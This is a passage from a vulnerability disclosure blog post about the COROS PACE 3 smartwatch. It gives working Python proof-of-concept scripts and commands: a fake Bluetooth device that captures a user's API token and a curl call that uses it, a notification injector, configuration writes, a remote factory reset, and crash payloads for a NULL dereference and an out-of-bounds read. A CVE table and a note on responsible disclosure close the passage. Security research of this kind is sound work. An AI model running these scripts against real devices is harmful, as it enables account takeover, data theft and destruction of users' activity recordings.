        lesc=True,
        mitm=True,
        bonding=True,
    )

    address = "F7:AF:1D:27:03:09"

    periph = Peripheral(
        device, 
        profile=my_profile, 
        pairing=pairing
   )

    print(periph.get_mtu())

    periph.set_mtu(80)

    if debug == True:
        monitor = WiresharkMonitor()
        monitor.attach(periph)
        monitor.start()

    try:
        periph.enable_peripheral_mode(adv_data=AdvDataFieldList(
            AdvCompleteLocalName(b'COROS PACE 3 7A8F48'),
            AdvLeSupportedFeatures(data_packet_length=True, privacy=True),
            AdvFlagsField()
        ))

        print('Press a key to disconnect')
        input()
        periph.stop()
        periph.close()

    except KeyboardInterrupt:
        periph.close()

        print(e)
        sys.exit()

else:
    print("Usage:", sys.argv[0], "<interface>")

Once the script is executed, all we need to do is wait for an Android phone with the COROS app installed to come into Bluetooth range. As soon as it detects our advertising fake device, the app connects, begins interaction and ultimately sends us the valid API key:

1
2
3
4
5
6
7
8
9
$ python3 fake-coros.py hci0
Press a key to disconnect
Access key received:
00000000: B2 00 02 04 20 4D 53 38  30 51 57 33 4B 30 32 50  .... MS80QW3K02P
00000010: 4C 31 4C 4A 46 55 4F 55  43 43 55 37 39 39 35 32  L1LJFUOUCCU79952
00000020: 39 48 37 4C 30 05 64 65  2D 44 45 00 27 30 3D 63  9H7L0.de-DE.'0=c
00000030: 6F 72 6F 73 2E 63 6F 6D  26 31 3D 61 70 69 65 75  oros.com&1=apieu
00000040: 26 32 3D 65 70 6F 65 75  26 33 3D 6D 61 70 73 74  &2=epoeu&3=mapst
00000050: 61 74 69 63 D9                                    atic.

Afterwards, we can use this API key, for example to retrieve profile and activity data, as the following example illustrates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ curl -s -X POST https://apieu.coros.com/coros/user/query\?accessToken\=MS80QW3K02PL1LJFUOUCCU799529H7L0 | jq .

{
  "apiCode": "774B56F3",
  "data": {
    "accessToken": "MS80QW3K02PL1LJFUOUCCU799529H7L0",
    "activateStatus": 1,
    "attributionRegion": "S5153",
    "birthday": 19850101,
    "clientType": 1,
    "email": "coros2@[...]",
    "emailVerifyState": 1,
    "enableAppDataConfig": true,
    "fitness": {
      "aerobicEndurance": 356,
      "aerobicEnduranceScore": 77.0,
      "anaerobicCapacity": 168,
      "anaerobicCapacityScore": 75.3,
      "anaerobicEndurance": 261,
      "anaerobicEnduranceScore": 75.4,
      "cycleInfo": {},
      "cycleLevelHr": 139,
      "hrvBaseValue": 32,
      "maxHr": 185,
    [...]

Of course, this practically only works with the Android app since it does not require the watch to be bonded and therefore there is no long-term key (LTK) which has to be known by the attacker.

Notifications

The COROS PACE 3 allows displaying notifications received from the smartphone. For instance, this invloves messages received via various mobile apps such as WhatsApp or iMessage.

The following image shows the notification on the watch:

Received notification Received notification

The above notification is written to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77757c7f7f70 as follows:

1
7900ff000c636f6d2e776861747361707010064841434b454420116861636b65642062792053795353200000

So the structure follows a custom Type-Length-Value (TLV) format with NULL byte termination:

Offset Field Value Interpretation
0x00 Header 7900ff Message header
0x03 Head Line 0 00 Type for line 0
0x04 Length Line 0 0c Length of line 0
0x05 Line 0 636f6d2e7768617473617070 Package name: "com.whatsapp"
0x0D Head Line 1 10 Type for line 1
0x0E Length Line 1 06 Length of line 1
0x0F Line 1 4841434b4544 Content of line 1: "HACKED"
0x15 Head Line 2 20 Type for line 2
0x16 Length Line 2 11 Length of line 2
0x17 Line 2 6861636b656420627920537953532000 Content of line 2: "hacked by SySS"
0x28 Terminator 00 End of message marker

Besides eavesdropping the messages and their content (see Pairing & bonding), an attacker is also able to inject notifications. As a proof of concept, we used the following Python script to inject notifications:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import asyncio
import sys
from bleak import BleakClient


UUID = "6e400002b5a3f393e0a977757c7f7f70"


def encode_message(package_name: str, line1: str, line2: str) -> bytes:
    message = bytearray.fromhex("7900ff")

    # Line 0
    message += b'\x00'
    line0_bytes = package_name.encode('utf-8')
    message += len(line0_bytes).to_bytes(1, 'big')
    message += line0_bytes

    # Line 1
    message += b'\x10'
    line1_bytes = line1.encode('utf-8')
    message += len(line1_bytes).to_bytes(1, 'big')
    message += line1_bytes

    # Line 2
    message += b'\x20'
    line2_bytes = line2.encode('utf-8')
    message += len(line2_bytes).to_bytes(1, 'big')
    message += line2_bytes

    # Terminator
    message += b'\x00'

    return bytes(message)


async def write_to_ble_device(address, message_bytes):
    client = BleakClient(address)
    try:
        await client.connect()
        await asyncio.sleep(2)
        if client.is_connected:
            await client.write_gatt_char(UUID, message_bytes, response=False)
            await asyncio.Event().wait()
    finally:
        if client.is_connected:
            await client.disconnect()


if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Usage: python notification.py <BLE_ADDRESS> <PACKAGE_NAME> <LINE1> <LINE2>")
        sys.exit(1)

    device_address = sys.argv[1]
    pkg = sys.argv[2]
    l1 = sys.argv[3]
    l2 = sys.argv[4]

    msg = encode_message(pkg, l1, l2)
    asyncio.run(write_to_ble_device(device_address, msg))

Using this script, arbitrary notifications can be injected:

1
$ python3 notification.py f7:af:1d:27:03:06 com.microsoft.teams CEO 'you are fired!'

Injected notification Injected notification

Configuration manipulation

Since the watch’s settings can be configured via the app, this could also obviously be done by an attacker abusing writing to the specific characteristics. For example, we reconstructed the Do not Disturb (DnD) message structure, which is written by the app to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77656c6f6f70:

1
2
3
4
5
6
7
8
9
typedef struct {
    uint8_t command[2];  // 0x86 0x00 (DnD command)
    uint8_t mode;        // 0x01 = activate, 0x00 = deactivate
    uint8_t start_hour;  // Start hour (0-23) 
    uint8_t start_minute;// Start minute (0-59)
    uint8_t end_hour;    // End hour (0-23)
    uint8_t end_minute;  // End minute (0-59)
    uint8_t checksum;    // Checksum
} DND_Message;

The checksum is a simple sum of the mode, start hour, start minute, end hour, and end minute modulo 256.

So we can use the following Python script to generate valid messages to configure the DnD on the watch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
def generate_dnd_message(start_hour, start_minute, end_hour, end_minute, activate=True):
    
    command = "8600" 

    if activate:
        mode = "01"
    else:
        mode = "00"

    start_hour_hex = f"{start_hour:02x}"
    start_minute_hex = f"{start_minute:02x}"
    end_hour_hex = f"{end_hour:02x}"
    end_minute_hex = f"{end_minute:02x}"

    checksum_value = (
        int(mode, 16) + 
        start_hour + 
        start_minute + 
        end_hour + 
        end_minute
    ) % 256
    checksum = f"{checksum_value:02x}"

    message = (
        command +
        mode +
        start_hour_hex +
        start_minute_hex +
        end_hour_hex +
        end_minute_hex +
        checksum
    )

    return message


# Sample configuration:
# 1:06 AM
start_hour = 1 
start_minute = 6

# 04:17 AM
end_hour = 4
end_minute = 17

activation_message = generate_dnd_message(
                        start_hour, 
                        start_minute, 
                        end_hour, 
                        end_minute, 
                        activate=True
                    )

deactivation_message = generate_dnd_message(
                        start_hour, 
                        start_minute, 
                        end_hour, 
                        end_minute, 
                        activate=False
                    )

print(f"Activate: {activation_message}")
print(f"Deactivate: {deactivation_message}")

Of couse, this is just an example; further device configurations are possible following similar pattern.

Find my Device

Another interesting function is the Find my Device option on both the watch to find the phone as well as in the mobile app to find the watch.

Writing 0xb400 to the characteristic with the UUID 6e400002-b5a3-f393-e0a9-77656c6f6f70 causes the watch to beep and blink:

Find my Device function Find my Device function

On the other hand, using our fake device (see COROS account takeover), we can also trigger the phone alert. This can be done if we notify 0x04000000 via the characteristic with the UUID 6e400003-b5a3-f393-e0a9-77656c6f6f70 on which the phone is subscribed to.

Factory reset

An interesting function is factory-resetting the watch by writing 0x8500 to the characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70.

Moreover, we also observed that the watch changes its own Bluetooth hardware address by expanding the factory reset command to 0x850001. This causes the last octet of the Bluetooth address to be increased by 1:

Device address after factory reset Device address after factory reset

While continuously running the following Python script, we determined that after reaching 0xFF on the last octet, it starts again from 0x00:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import asyncio
from bleak import BleakScanner, BleakClient

TARGET_NAME = "COROS PACE 3 7A8F48"
CHARACTERISTIC_UUID = "6e400002-b5a3-f393-e0a9-77656c6f6f70"
HEX_VALUE = "850001"

async def main():
    print("Scanning for BLE devices...")
    devices = await BleakScanner.discover(timeout=5.0)

    target_device = None
    for d in devices:
        if d.name == TARGET_NAME:
            target_device = d
            break

    if not target_device:
        print(f"Device '{TARGET_NAME}' not found.")
        return

    print(f"Device found: {target_device.name} ({target_device.address})")
    async with BleakClient(target_device.address) as client:
        if not client.is_connected:
            print("Failed to connect.")
            return

        data = bytes.fromhex(HEX_VALUE)
        print(f"Sending data: {data.hex()} to characteristic {CHARACTERISTIC_UUID}")
        
        try:
            await client.write_gatt_char(CHARACTERISTIC_UUID, data, response=True)
            print("Write successful.")
        except Exception as e:
            print(f"Error during write: {e}")

if __name__ == "__main__":
    asyncio.run(main())

Apart from the fact that the device must be re-paired, factory-resetting the device can ruin a victim’s race day. An attacker could trigger the factory reset of a passing athlete, causing the current activity recording to end immediately, all data to be lost, and the watch to restart with default settings – the end of a successful race:

Factory reset during an activity Factory reset during an activity

Black-box fuzzing

During our analysis, we also used the gained knowledge about the message structures to conduct several black-box-based fuzzing tests. The inputs were generated using radamsa and written to the corresponding characteristics of the watch with the following Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import asyncio
import argparse
from bleak import BleakClient

async def process_data(file_path):
    with open(file_path, "r") as file:
        lines = [line.strip() for line in file if line.strip()]
    return lines

async def write_to_ble_device(device_address, characteristic_uuid, data_file):
    client = BleakClient(device_address)
    last_sent_data = None 
    try:
        data_lines = await process_data(data_file)
        total_lines = len(data_lines)

        if total_lines == 0:
            print("Error: The data file is empty.")
            return

        await client.connect()
        await asyncio.sleep(2) 

        if client.is_connected:
            print(f"Connected to {device_address}")

            for index, hex_data in enumerate(data_lines, start=1):
                last_sent_data = hex_data 
                data_bytes = bytes.fromhex(hex_data)
                await client.write_gatt_char(characteristic_uuid, data_bytes, response=False)

                progress = (index / total_lines) * 100
                print(f"Sent: {hex_data} [{progress:.2f}% complete]")

            print("Connection remains open. Press CTRL+C to exit.")
            await asyncio.Event().wait() 

    except Exception as e:
        print(f"Error: {e}")
        if last_sent_data:
            print(f"Last sent data: {last_sent_data}")

    finally:
        if client.is_connected:
            await client.disconnect()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Send hex data from a file to a BLE device.")
    parser.add_argument("-m", "--mac", required=True, help="MAC address of the BLE device")
    parser.add_argument("-c", "--characteristic", required=True, help="UUID of the characteristic to write to")
    parser.add_argument("-f", "--file", required=True, help="File containing hex-formatted data")

    args = parser.parse_args()

    asyncio.run(write_to_ble_device(args.mac, args.characteristic, args.file))

NULL pointer dereference

During black-box fuzzing, we determined that the data 0x7900ff00002e written to the characteristic 6e400002b5a3f393e0a977757c7f7f70 causes a crash, resulting in an immediate reboot of the watch. This crash also occurs during an ongoing activity:

Device crash during an activity Device crash during an activity

Similar to factory-resetting the device (see Factory reset), this allows an attacker triggering the crash, for example during a race, resulting in complete data loss of the recorded data and a reboot of the watch.

After further analysis of the firmware, it could be determined that a NULL pointer dereference vulnerability is the root cause of this crash. More technical details about this vulnerability will be described in an upcoming blog post about the firmware analysis.

Out-of-bounds read

Similar to the crash described above, writing 0xb900 followed by a two byte message, where the second byte is NULL, to the characteristic 6e400002b5a3f393e0a977656c6f6f70 also leads to a crash and forces a device reboot.

The following proof-of-concept Python script exploits this circumstance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import asyncio
from bleak import BleakClient

DEVICE_ADDRESS = "F7:AF:1D:27:03:b0"
CHARACTERISTIC_UUID = "6e400002b5a3f393e0a977656c6f6f70"

DATA = [
    "b900",
    "0000"
]

async def write_to_ble_device():
    client = BleakClient(DEVICE_ADDRESS)
    try:
        await client.connect()
        await asyncio.sleep(2)  
        if client.is_connected:
            print(f"connected to {DEVICE_ADDRESS}")
            for payload in DATA:
                await client.write_gatt_char(
                        CHARACTERISTIC_UUID, 
                        bytes.fromhex(payload), 
                        response=False
                      )
    except Exception as e:
        print(f"Error: {e}")
    finally:
        if client.is_connected:
            await client.disconnect()

asyncio.run(write_to_ble_device())

During firmware analysis, an out-of-bounds read was determined as root cause for this crash, which will be described in more detail in an upcoming blog post.

Conclusion

We found several security vulnerabilities in the COROS PACE 3 which allow attackers within the Bluetooth range to perform different authorized actions, for example hijacking the assigned COROS user account, eavesdropping on sensitive data, or injecting notification messages. Furthermore, the watch can be reset or crashed remotely, which for instance results in activity interruption and the complete loss of recoreded data.

The following table provides an overview of the found security vulnerabilities.

Vulnerability Type SySS ID CVE ID
Use of a Broken or Risky Cryptographic Algorithm (CWE-327) SYSS-2025-023 CVE-2025-32876
Improper Authentication (CWE-287) SYSS-2025-024 CVE-2025-32877
Cleartext Transmission of Sensitive Information (CWE-319) SYSS-2025-025 CVE-2025-32875
Missing Authentication for Critical Function (CWE-306) SYSS-2025-026 CVE-2025-32879
NULL Pointer Dereference (CWE-476) SYSS-2025-027 CVE-2025-48705
Out-of-bounds Read (CWE-125) SYSS-2025-028 CVE-2025-48706
Cleartext Transmission of Sensitive Information (CWE-319) SYSS-2025-029 CVE-2025-32880
Improper Certificate Validation (CWE-295) SYSS-2025-030 CVE-2025-32878

We reported all found security vulnerabilities to the vendor in the course of our responsible disclosure program. The timeline and current status of each vulnerability can be found in the corresponding security advisory. At the time of publication, not all vulnerabilities have been resolved.

  1. Describing the Bluetooth security concepts and their specifications are beyond the scope of this blog post. 

This post is licensed under CC BY 4.0 by the author.